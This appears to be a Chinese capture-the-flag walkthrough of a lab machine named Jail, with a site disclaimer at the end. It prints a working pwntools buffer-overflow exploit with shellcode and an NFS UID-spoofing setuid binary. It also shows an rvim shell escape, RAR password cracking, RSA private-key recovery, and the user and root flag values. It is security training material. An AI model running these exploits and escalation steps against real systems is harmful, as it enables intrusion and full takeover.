概要
总的来说这个靶机局限性很强,流量出入口只能是22,2049,7411。无法在靶机建立反向shell到kali(root用户防火墙过滤策略)。你需要通过这个极其狭小的空间进行权限提升。
信息收集
IP Address | Opening Ports |
---|---|
10.10.10.34 | TCP:22,80,2049,7411 |
$ nmap -p- 10.10.10.34 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
| 256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
|_ 256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
111/tcp open rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
2049/tcp open nfs 3-4 (RPC #100003)
7411/tcp open daqstream?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|_ OK Ready. Send USER command.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port7411-TCP:V=7.94SVN%I=7%D=9/11%Time=66E1500E%P=x86_64-pc-linux-gnu%r
SF:(NULL,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(GenericLines
SF:,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(GetRequest,1D,"OK
SF:\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(HTTPOptions,1D,"OK\x20Re
SF:ady\.\x20Send\x20USER\x20command\.\n")%r(RTSPRequest,1D,"OK\x20Ready\.\
SF:x20Send\x20USER\x20command\.\n")%r(RPCCheck,1D,"OK\x20Ready\.\x20Send\x
SF:20USER\x20command\.\n")%r(DNSVersionBindReqTCP,1D,"OK\x20Ready\.\x20Sen
SF:d\x20USER\x20command\.\n")%r(DNSStatusRequestTCP,1D,"OK\x20Ready\.\x20S
SF:end\x20USER\x20command\.\n")%r(Help,1D,"OK\x20Ready\.\x20Send\x20USER\x
SF:20command\.\n")%r(SSLSessionReq,1D,"OK\x20Ready\.\x20Send\x20USER\x20co
SF:mmand\.\n")%r(TerminalServerCookie,1D,"OK\x20Ready\.\x20Send\x20USER\x2
SF:0command\.\n")%r(TLSSessionReq,1D,"OK\x20Ready\.\x20Send\x20USER\x20com
SF:mand\.\n")%r(Kerberos,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n"
SF:)%r(SMBProgNeg,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(X11
SF:Probe,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(FourOhFourRe
SF:quest,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LPDString,1D
SF:,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LDAPSearchReq,1D,"OK
SF:\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(LDAPBindReq,1D,"OK\x20Re
SF:ady\.\x20Send\x20USER\x20command\.\n")%r(SIPOptions,1D,"OK\x20Ready\.\x
SF:20Send\x20USER\x20command\.\n")%r(LANDesk-RC,1D,"OK\x20Ready\.\x20Send\
SF:x20USER\x20command\.\n")%r(TerminalServer,1D,"OK\x20Ready\.\x20Send\x20
SF:USER\x20command\.\n")%r(NCP,1D,"OK\x20Ready\.\x20Send\x20USER\x20comman
SF:d\.\n")%r(NotesRPC,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r
SF:(JavaRMI,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(WMSReques
SF:t,1D,"OK\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(oracle-tns,1D,"O
SF:K\x20Ready\.\x20Send\x20USER\x20command\.\n")%r(ms-sql-s,1D,"OK\x20Read
SF:y\.\x20Send\x20USER\x20command\.\n")%r(afp,1D,"OK\x20Ready\.\x20Send\x2
SF:0USER\x20command\.\n")%r(giop,1D,"OK\x20Ready\.\x20Send\x20USER\x20comm
SF:and\.\n");
HTTP
http://10.10.10.34/
NFS (2049)
$ showmount -e 10.10.10.34
$ sudo mkdir -p /mnt/10.10.10.34/opt
$ sudo mkdir -p /mnt/10.10.10.34/var/nfsshare
$ sudo mount -t nfs 10.10.10.34:/opt /mnt/10.10.10.34/opt
$ sudo mount -t nfs 10.10.10.34:/var/nfsshare /mnt/10.10.10.34/var/nfsshare
NSFS中存在命令:/bin/cat /home/frank/logs/checkproc.log
目前确认了存在frank用户
Shell as nobdy && BOF
http://10.10.10.34/jailuser/
http://10.10.10.34/jailuser/dev/
在compile.sh中,编译时使用了命令gcc -o jail jail.c -m32 -z execstack
。
这意味着数据执行保护(DEP)被禁用,可以将Shellcode写入。
jail.c这个程序是一个简单的服务器应用,接受客户端的连接,并处理一些基本的命令。以下是程序的主要功能和流程分析:
-
建立服务器套接字:
-
使用
socket()
函数创建一个套接字,用于监听传入的连接。 -
通过
setsockopt()
设置SO_REUSEADDR
选项,以便服务器可以快速重启而不受端口占用的影响。 -
将套接字绑定到
7411
端口并使用listen()
函数监听连接,允许最多200个待处理的连接。
-
-
处理客户端连接:
-
通过
accept()
函数接受传入的连接。 -
每当接受一个新的连接时,使用
fork()
创建一个新的进程,以便可以并发处理多个客户端连接。
-
-
处理客户端命令:
-
客户端需要先发送
USER
命令和PASS
命令,分别提供用户名和密码。 -
程序通过
auth()
函数验证用户名和密码。如果用户名是admin
且密码是1974jailbreak!
,则认证成功,否则失败。 -
认证成功后,客户端可以发送
OPEN
或CLOSE
命令,分别表示打开或关闭监狱的门(从功能上看,这只是一个文字输出)。
-
-
调试模式:
-
客户端可以通过发送
DEBUG
命令切换调试模式。当调试模式打开时,程序会打印出一些调试信息,例如userpass
缓冲区的内存地址。
-
关键点分析:
-
认证过程:
-
auth()
函数首先检查用户名是否为admin
,然后将传入的密码复制到userpass
缓冲区。如果密码匹配1974jailbreak!
,认证成功。
-
-
缓冲区溢出风险:
-
auth()
函数中使用strcpy()
将用户传入的密码复制到userpass
缓冲区,而userpass
缓冲区只有16个字符的空间,可能导致缓冲区溢出风险(如果输入的密码长度超过16字符)。
-
-
命令解析:
-
在
handle()
函数中,服务器通过循环读取客户端发送的数据,并使用strtok()
函数解析命令。服务器支持USER
、PASS
、DEBUG
、OPEN
和CLOSE
命令。
-
-
多进程处理:
-
服务器通过
fork()
创建新进程来处理每个客户端的连接。主进程继续监听新的连接,而子进程处理当前连接。这种方法可以并发处理多个客户端连接,但也会增加系统负载。
-
$ gdb -q ./jail
gdb-peda$ set follow-fork-mode child
应该跟踪和调试子进程而不是父进程。默认情况下,GDB 会继续调试父进程,但通过设置 follow-fork-mode 为 child,GDB 会在 fork() 之后自动切换到子进程,允许你调试子进程的执行过程。
gdb-peda$ set detach-on-fork off
控制 GDB 在 fork() 发生时是否分离(detach)未被跟踪的进程。默认情况下,GDB 会在跟踪一个进程时分离另一个进程。但设置 detach-on-fork 为 off 后,GDB 不会分离未跟踪的进程。这意味着在 fork() 之后,GDB 会同时保留对父进程和子进程的控制,即使它只跟踪其中一个。这样你可以在调试过程中随时切换调试父进程或子进程。
gdb-peda$ r
gdb-peda$ pattern_create 40
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa
0x413b4141
gdb-peda$ pattern_offset AA;A
AA;A found at offset: 28
得知缓冲区大小为28
结束进程重启
$ sudo kill -9 $(sudo lsof -t -i:7411)
https://www.exploit-db.com/exploits/34060
Socket Re-Use Shellcode 的工作原理
利用开放的 Socket: 攻击者可能会利用目标系统上已经存在的开放 socket,避免创建新的连接。这个过程可能涉及到重用现有的网络连接来执行恶意操作。
绕过防护: 这种技术可以绕过一些网络安全机制,因为攻击者可以利用合法的连接通道来传输恶意数据,而不是直接发起新的、可能被检测到的连接。
注入 Shellcode: 在目标系统中,攻击者可能会通过某种方式(如漏洞利用)将 shellcode 注入到已经存在的网络连接中。这段 shellcode 可以在目标系统上执行各种命令,如启动反向 shell、执行数据盗取等。
#!/usr/bin/env python3
from pwn import *
import os
if args['REMOTE']:
ip = '10.10.10.34'
else:
ip = '127.0.0.1'
def get_userpass_address(ip):
p = remote(ip, 7411)
p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"DEBUG")
p.recvuntil(b"OK DEBUG mode on.")
p.sendline(b"PASS admin")
p.recvuntil(b"Debug: userpass buffer @ ")
userpass_addr = int(p.recvline(), 16)
log.info(f"Got leak of userpass from server: 0x{userpass_addr:08x}")
p.close()
return userpass_addr
def rce(ip,userpass_addr):
if ip == '127.0.0.1':
log.info("Ending the process on port 7411")
os.system('sudo kill -9 $(sudo lsof -t -i:7411)')
input(log.info("Manually confirm whether the service is started... Enter to confirm continue..."))
shellcode = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
shellcode += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
shellcode += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
shellcode += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
shellcode += b"\x89\xe3\x31\xc9\xcd\x80";
# 缓冲区溢出28字节,userpass_addr获取的是密码输入的地址,所以需要28+4=32字节位置,覆盖EIP
payload = b"A"*28+ p32(userpass_addr + 32)+shellcode
p = remote(ip, 7411)
p.recvuntil(b"OK Ready. Send USER command.")
p.sendline(b"USER admin")
p.recvuntil(b"OK Send PASS command.")
p.sendline(b"PASS " + payload)
p.interactive()
if __name__ == '__main__':
rce(ip,get_userpass_address(ip))
$ python3 exp.py
接下来测试靶机
$ python3 exp.py REMOTE
$ script /dev/null -c bash
这个主机似乎无法网络访问到我们的主机
bash-4.2$ $ sudo -l
nobody -> frank
bash-4.2$ $ cat /etc/exports
-
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
-
/var/nfsshare
:这是要共享的目录路径。 -
*
:表示任何主机都可以访问这个共享目录。你可以用特定的 IP 地址、主机名或网络地址来限制访问范围,例如192.168.1.0/24
只允许同一网络中的主机访问。 -
rw
:表示共享目录是可读写的。客户端可以对这个目录进行读写操作。 -
sync
:表示所有的写操作在返回给客户端之前必须被写入磁盘。确保数据的完整性和一致性,但可能会影响性能。 -
root_squash
:表示将客户端的 root 用户映射到匿名用户(通常是nobody
)。这有助于防止客户端 root 用户对 NFS 服务器上的文件进行不必要的修改或访问。 -
no_all_squash
:表示不将所有用户映射到匿名用户。通常与root_squash
一起使用时,no_all_squash
允许除 root 外的其他用户进行特定的操作,但要谨慎使用,以避免权限问题。
-
/opt *(rw,sync,root_squash,no_all_squash)
-
/opt
:这是要共享的目录路径。 -
*
:同样表示任何主机都可以访问这个共享目录。 -
rw
:表示共享目录是可读写的。 -
sync
:表示所有的写操作必须被写入磁盘后才能返回给客户端。 -
root_squash
:同样表示将客户端的 root 用户映射到匿名用户。 -
no_all_squash
:同样表示不将所有用户映射到匿名用户。
-
共享目录:
/var/nfsshare
和/opt
是被共享的目录路径。 -
访问权限:
rw
表示共享目录是可读写的。 -
同步:
sync
确保数据在写操作完成之前被写入磁盘。 -
用户映射:
-
root_squash
:客户端的 root 用户被映射为匿名用户,防止高权限操作。 -
no_all_squash
:允许非 root 用户的访问权限,避免所有用户都被映射为匿名用户。
-
root_squash
假设你有一个 NFS 服务器,目录 /shared 被配置为 root_squash。
客户端机器上的用户 root 访问 /shared 目录。
在服务器上,客户端的 root 用户会被映射为 nobody,所以它在 /shared 目录上只能执行普通用户的操作,而不能进行 root 权限操作。
no_all_squash
假设你有一个 NFS 服务器,目录 /shared 被配置为 no_all_squash 和 root_squash。
客户端机器上的用户 john 访问 /shared 目录,john 会保持他自己的权限(即 john 在 NFS 服务器上的文件系统中会以 john 身份访问文件)。
但是,客户端的 root 用户会被映射到服务器上的 nobody 用户,因此,root 用户在 /shared 目录上仍然不能执行特权操作。
NFS UID Bypass
$ sudo useradd -u 1000 frank
$ sudo passwd frank
$ su - frank
# Dockerfile
FROM centos:7
RUN mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak && \
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo && \
yum clean all && yum makecache
RUN yum groupinstall "Development Tools" -y && \
yum install -y glibc glibc-devel
WORKDIR /workspace
CMD ["/bin/bash"]
由于2024=kali与该利用脚本编译依赖存在问题,所以我花了一些时间写了另一种Docker编译方法
# docker build -t gcc-centos7 .
# docker run -it -v /tmp:/tmp gcc-centos7
/*exp.c*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setresuid(1000, 1000, 1000);
system("/bin/bash");
return 0;
}
/tmp # gcc exp.c -o exp
$ mv /tmp/exp /mnt/10.10.10.34/var/nfsshare/exp
$ chmod 4777 /mnt/10.10.10.34/var/nfsshare/exp
$ /var/nfsshare/exp
$ ssh -i ~/.ssh/id_ed25519 [email protected]
User.txt
2d0d80533b2be30f826fccd8b77db4a3
权限提升
Frank -> ADM (rvim 权限提升)
$ sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
:py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")
ADM -> Root ( Atbash cipher)
/var/adm/.keys/keys.rar需要密码
而/var/adm/.keys/.local/.frank反馈一串密文
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
https://www.quipqiup.com/
哈哈哈!没有人会猜到我的新密码!只有少数幸运的灵魂像我一样从恶魔岛活着逃出来!
字典生成 && 压缩包破译
https://www.fbi.gov/history/famous-cases/alcatraz-escape
考虑到该靶机涉及到主题监狱,并且提示恶魔岛,通过Google关键词找到美国FBI关于frank等人越狱公告
$ hashcat --stdout -a 3 Morris?d?d?d?d?s > /tmp/frank-passwords
(adm)sh-4.2$ cp /var/adm/.keys/keys.rar /tmp
(adm)sh-4.2$ chmod 777 /tmp/keys.rar
$ scp -i ~/.ssh/id_ed25519 [email protected]:/tmp/keys.rar .
$ rar2john keys.rar >keys.hash
$ hashcat keys.hash frank-passwords --user --potfile-disable
$RAR3$*1*723eaa0f90898667*eeb44b5b*384*451*1*a4ef3a3b7fab5f8ea48bd08c77bfaa082d3da7dc432f9805f1683073b9992bdc24893a6f5cee2f9a6339d1b6ab155262e798c3de5f49f2f6abe623026fcf8bae99f67bbf6b5c52b392d049d9edff7122d46514afdf7710164dbef5be373c30e3503e8843a1556e373bdaccbaffc6ccbbb93c318b49585447b0b4f02178b464caddfefc9d545abbbd08943d86edec7d12b1c5d8e1cac47fd6a79fd890ca5e95d37e2d96e319f5543a0e6917939dde9126dbdff0a4e7fd616fdaa3d91a414143535bbd1f4086c35e370ea7ea8a7ab97c71fa43768ec90d165b98906e61de7380510048a1eb7b0deca6a43f819acd3ba9bf56f23f6546ba0d39aa860b8760a0bcdfc73d273cc3996e7675a7ae3cc66d753cf6074127cf9781755d972dba1fc7a640de7218728e8324cbd4f4dc4e7da2e09d38ff256455020523a0481051d732583116a03621f8045b01f1beab2a91845f2e8e052a61635b5d8f05c4cb2b4cf75c586cfcdf8f0e66c3161fd352e52f3f29e2281995356217e93ffeaca388a15829d6*33:Morris1962!
许多人通过猜测来解决这个问题,因为1962年是frank逃跑的那一年
$ unrar e keys.rar
$ cat rootauthorizedsshkey.pub
通过RSA公钥破解RSA私钥
https://github.com/Ganapati/RsaCtfTool
RsaCtfTool 是一个用来破解 RSA 密钥的工具,特别是在 CTF(Capture The Flag)竞赛中用于解决与 RSA 相关的挑战。它提供了多种技术来尝试从公钥或加密数据中恢复私钥。以下是一些 RsaCtfTool 可能使用的技术和方法,以及它们为何可以从公钥信息中恢复私钥:
1. 共因子攻击(Common Modulus Attack)
当你知道两个密钥使用相同的模数(n
),但它们有不同的公钥指数(e
),你可以利用共因子攻击恢复私钥。这种攻击利用了模数的共因性,具体来说,当两个密钥的 e
值相互不同但模数相同,这可能导致通过求解模数的最大公因子(GCD)来找到私钥。
2. 低加密指数攻击(Low Encryption Exponent Attack)
如果加密指数 e
很小(比如 3),且消息是一个足够小的整数或加密时没有进行填充,这种情况可能会暴露私钥。RsaCtfTool 可能会使用这一技术来恢复私钥。
3. 部分键暴露(Partial Key Exposure)
如果公钥 e
和模数 n
已知,但私钥的某些部分被暴露(例如私钥的某些比特位),可以使用这些信息来恢复完整的私钥。这种攻击通常需要复杂的数学工具和算法。
4. 平衡攻击(Balanced Attack)
平衡攻击是一种利用 RSA 密钥的数学特性来恢复密钥的方法。当密钥的某些部分可以通过不同的数学方法恢复时,RsaCtfTool 可能会尝试这种方法。
5. 使用工具的漏洞(Tool Vulnerabilities)
有时候,RsaCtfTool 也会利用工具本身的漏洞来破解密钥。例如,某些工具可能在实现上存在漏洞,使得通过特定的攻击方式可以恢复密钥。
$ python3 RsaCtfTool.py --publickey /tmp/rootauthorizedsshkey.pub --private
$ chmod 600 /tmp/root
$ ssh -i /tmp/root -o PubkeyAcceptedKeyTypes=+ssh-rsa [email protected]
Root.txt
30fd6a8dc1495368c14730c14a2ea9ab
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)